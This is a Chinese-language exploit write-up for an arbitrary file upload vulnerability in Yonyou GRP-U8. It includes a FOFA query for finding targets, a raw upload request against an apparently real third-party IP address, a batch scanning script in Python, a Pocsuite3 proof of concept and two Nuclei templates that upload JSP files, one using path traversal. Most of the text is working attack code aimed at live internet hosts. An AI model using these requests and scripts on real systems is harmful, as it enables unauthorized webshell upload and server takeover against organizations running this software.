用友 GRP-U8 UploadFileData接口存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限
搜索语法:app="用友-GRP-U8"
一:漏洞复现
步骤一:使用以下语法进行目标搜索并确定攻击目标...
# 搜索语法
app="用友-GRP-U8"
# 测试目标
http://61.136.185.190:8888/login.jsp
步骤二:构造以下数据包进行文件上传,返回状态码200即可表示可能上传成功!
POST /servlet/FileUpload?fileName=1.jsp&actionID=update HTTP/1.1
Host: 61.136.185.190:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Length: 24
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------32840991842344344364451981273
Origin: null
Upgrade-Insecure-Requests: 1
<% out.println("123");%>
步骤三:访问其上传的1.jsp文件即拼接以下路径访问,页面出现123即可说明文件上传成功!
http://61.136.185.190:8888/R9iPortal/upload/1.jsp
步骤四:Python构建脚本...单独使用
import sys
import requests
import argparse
# 漏洞检测模块
def checkVuln(url):
vulnurl = url + "/servlet/FileUpload?fileName=1.jsp&actionID=update"
okurl = url + "/R9iPortal/upload/1.jsp"
data = """<% out.println("24k");%>""" # Webshell
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0',
'Content-Type': 'multipart/form-data; boundary=---------------------------32840991842344344364451981273'
}
try:
response = requests.get(vulnurl, headers=headers, data=data, timeout=5, verify=False)
if response.status_code == 200:
if '24k' in requests.get(okurl, headers=headers, timeout=5, verify=False).text:
print(f"【+】当前网址存在漏洞:{url}")
with open("vuln.txt", "a+") as f:
f.write(okurl + "\n")
else:
print("【-】目标网站不存在漏洞...")
else:
print("【-】目标网站不存在漏洞...")
except Exception as e:
print("【-】目标网址存在网络链接问题...")
# checkVuln("http://61.136.185.190:8888")
# 批量漏洞检测模块
def batchCheck(filename):
with open(filename, "r") as f:
for readline in f.readlines():
checkVuln(readline)
def banner():
bannerinfo = """
oooooo oooo oooooo oooo .oooooo. ooooooooo. ooooooooo. ooooo ooo .ooooo.
`888. .8' `888. .8' d8P' `Y8b `888 `Y88. `888 `Y88. `888' `8' d88' `8.
`888. .8' `888. .8' 888 888 .d88' 888 .d88' 888 8 Y88.. .8'
`888.8' `888.8' 888 888ooo88P' 888ooo88P' 888 8 `88888b.
`888' `888' 888 ooooo 888`88b. 888 8888888 888 8 .8' ``88b
888 888 `88. .88' 888 `88b. 888 `88. .8' `8. .88P
o888o o888o `Y8bood8P' o888o o888o o888o xhonger `YbodP' `boood8' """
print(bannerinfo)
print("YYGRP-U8".center(100, '*'))
print(f"[+]{sys.argv[0]} --url htttp://www.xxx.com 即可进行单个漏洞检测")
print(f"[+]{sys.argv[0]} --file targetUrl.txt 即可对选中文档中的网址进行批量检测")
print(f"[+]{sys.argv[0]} --help 查看更多详细帮助信息")
print("--author:xhonger 联系方式:01xhonger@gmail.com".rjust(100," "))
# 主程序方法,进行调用
def main():
parser = argparse.ArgumentParser(description='GRP-U8-UploadFile漏洞单批检测脚本@xhonger')
parser.add_argument('-u','--url', type=str, help='单个漏洞网址')
parser.add_argument('-f','--file', type=str, help='批量检测文本')
args = parser.parse_args()
if args.url:
checkVuln(args.url)
elif args.file:
batchCheck(args.file)
else:
banner() # 欢迎信息....
if __name__ == '__main__':
main()
步骤五:Pocsuite的POC脚本...
from pocsuite3.api import (
Output,
POCBase,
POC_CATEGORY,
register_poc,
requests,
VUL_TYPE,
)
# 关于类的继承
class YYCRPU8(POCBase):
# fofa语句: title="任务调度中心"
vulID = "0" # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = "1" # 默认为1
author = "F41ao" # PoC作者的大名
vulDate = "2025-10-11" # 漏洞公开的时间,不知道就写今天
createDate = "2024-10-11" # 编写 PoC 的日期
updateDate = "2024-10-11" # PoC 更新的时间,默认和编写时间一样
references = [] # 漏洞地址来源,0day不用写
name = "用友 GRP-U8 UploadFileData 文件上传漏洞" # PoC 名称
appPowerLink = "" # 漏洞厂商主页地址
appName = "用友 GRP-U8 UploadFileData 文件上传漏洞" # 漏洞应用名称
appVersion = "all" # 漏洞影响版本
vulType = VUL_TYPE.ARBITRARY_FILE_CREATION # 弱口令 漏洞类型,类型参考见 漏洞类型规范表
category = POC_CATEGORY.EXPLOITS.WEBAPP # poc对应的产品类型 web的
samples = ["http://61.136.185.190:8888/"] # 测试样列,就是用 PoC 测试成功的网站
# install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
desc = """用友 GRP-U8 UploadFileData 存在文件上传漏洞,通过此漏洞可以进一步获取主机控制权限!""" # 漏洞简要描述
pocDesc = """使用Webshell客户端链接即可""" # POC用法描述
def _check(self):
vulnurl = self.url.strip() + "/servlet/FileUpload?fileName=1.jsp&actionID=update"
okurl = self.url.strip() + "/R9iPortal/upload/1.jsp"
data = """<% out.println("24k");%>""" # Webshell
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0',
'Content-Type': 'multipart/form-data; boundary=---------------------------32840991842344344364451981273'
}
result = []
try:
response = requests.get(vulnurl, headers=headers, data=data, timeout=5, verify=False)
if response.status_code == 200:
if '24k' in requests.get(okurl, headers=headers, timeout=5, verify=False).text:
result.append(self.url.strip())
else:
pass
else:
pass
except Exception as e:
print("【-】目标网址存在网络链接问题...")
finally:
return result
def _verify(self):
# 验证模式 , 调用检查代码 ,
result = {}
res = self._check() # res就是返回的结果列表
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['Info'] = self.name
result['VerifyInfo']['vul_url'] = self.url
result['VerifyInfo']['vul_detail'] = self.desc
return self.parse_verify(result)
def _attack(self):
# 攻击模式 , 就是在调用验证模式
return self._verify()
def parse_verify(self, result):
# 解析认证 , 输出
output = Output(self)
# 根据result的bool值判断是否有漏洞
if result:
output.success(result)
else:
output.fail('Target is not vulnerable')
return output
# 你会发现没有shell模式 , 对吧 ,根本就用不到
# 其他自定义的可添加的功能函数
def other_fuc():
pass
# 其他工具函数
def other_utils_func():
pass
# 注册 DemoPOC 类 , 必须要注册
register_poc(YYCRPU8)
二:批量测试
id: yonyou_GRP-U8_UploadFileData_rce
info:
name: yonyou_GRP-U8_UploadFileData_rce
author: mczilong
severity: critical
tags: yonyou,oa,bjxsec
description: fofa app="用友-GRP-U8"
reference:
- https://mp.weixin.qq.com
variables:
file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
- raw:
- |
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename={{file_name}}&filename=1.jpg HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
Content-Type: multipart/form-data
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"
<% out.println("{{file_content}}");%>
------WebKitFormBoundary92pUawKc--
- |
GET /R9iPortal/{{file_name}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "{{file_content}}"
id: yonyou_GRP-U8_UploadfileName_rce
info:
name: yonyou_GRP-U8_UploadfileName_rce
author: mczilong
severity: critical
tags: yonyou,oa,bjxsec
description: fofa app="用友-GRP-U8"
reference:
- https://mp.weixin.qq.com
variables:
file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
- raw:
- |
POST /servlet/FileUpload?fileName={{file_name}}&actionID=update HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------32840991842344344364451981273
Content-Length: 4
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
{{file_content}}
- |
GET /R9iPortal/upload/{{file_name}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "{{file_content}}"